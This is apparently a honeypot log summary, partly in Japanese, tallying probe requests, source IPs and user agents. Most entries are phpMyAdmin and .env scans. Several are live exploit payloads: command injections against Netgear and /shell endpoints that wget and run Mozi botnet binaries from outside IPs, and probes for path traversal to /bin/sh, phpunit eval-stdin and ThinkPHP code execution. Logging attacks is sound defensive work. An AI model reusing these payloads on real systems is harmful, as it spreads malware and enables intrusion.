3	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
2	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
5	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
4	GET	`/phppma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2013/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2015/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2020/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
2	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//188[.]169[.]36[.]159:57337/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
4	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
2	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.56.59.228	Netherlands
1	5.188.210.227	Russia
2	15.204.24.72	United States
2	20.119.227.45	United States
2	20.127.82.43	United States
3	45.88.109.151	Germany
8	45.146.165.37	Russia
6	51.79.29.48	Canada
1	65.157.23.94	United States
1	78.128.112.14	Bulgaria
2	94.232.43.63	Russia
1	103.28.70.140	United States
1	103.145.13.223	India
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	139.162.145.250	Netherlands
1	143.110.227.92	United States
1	143.244.189.0	United States
1	144.168.243.187	Canada
1	147.182.195.163	United States
1	147.182.232.128	United States
1	159.223.169.3	United States
4	165.232.142.210	United States
1	180.149.125.168	Mongolia
1	185.196.220.54	Netherlands
1	209.17.97.66	United States
2	209.141.53.74	United States
1	209.141.54.110	United States
1	212.192.246.135	Czechia
1	219.156.26.195	China

UserAgent一覧

件数	UserAgent
8	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`python-requests/2.22.0`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`\x03`
1		`\x16\x03\x01`
3	CONNECT	`179[.]61[.]251[.]239:4444`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//219[.]156[.]26[.]195:51201/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/wp-admin/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1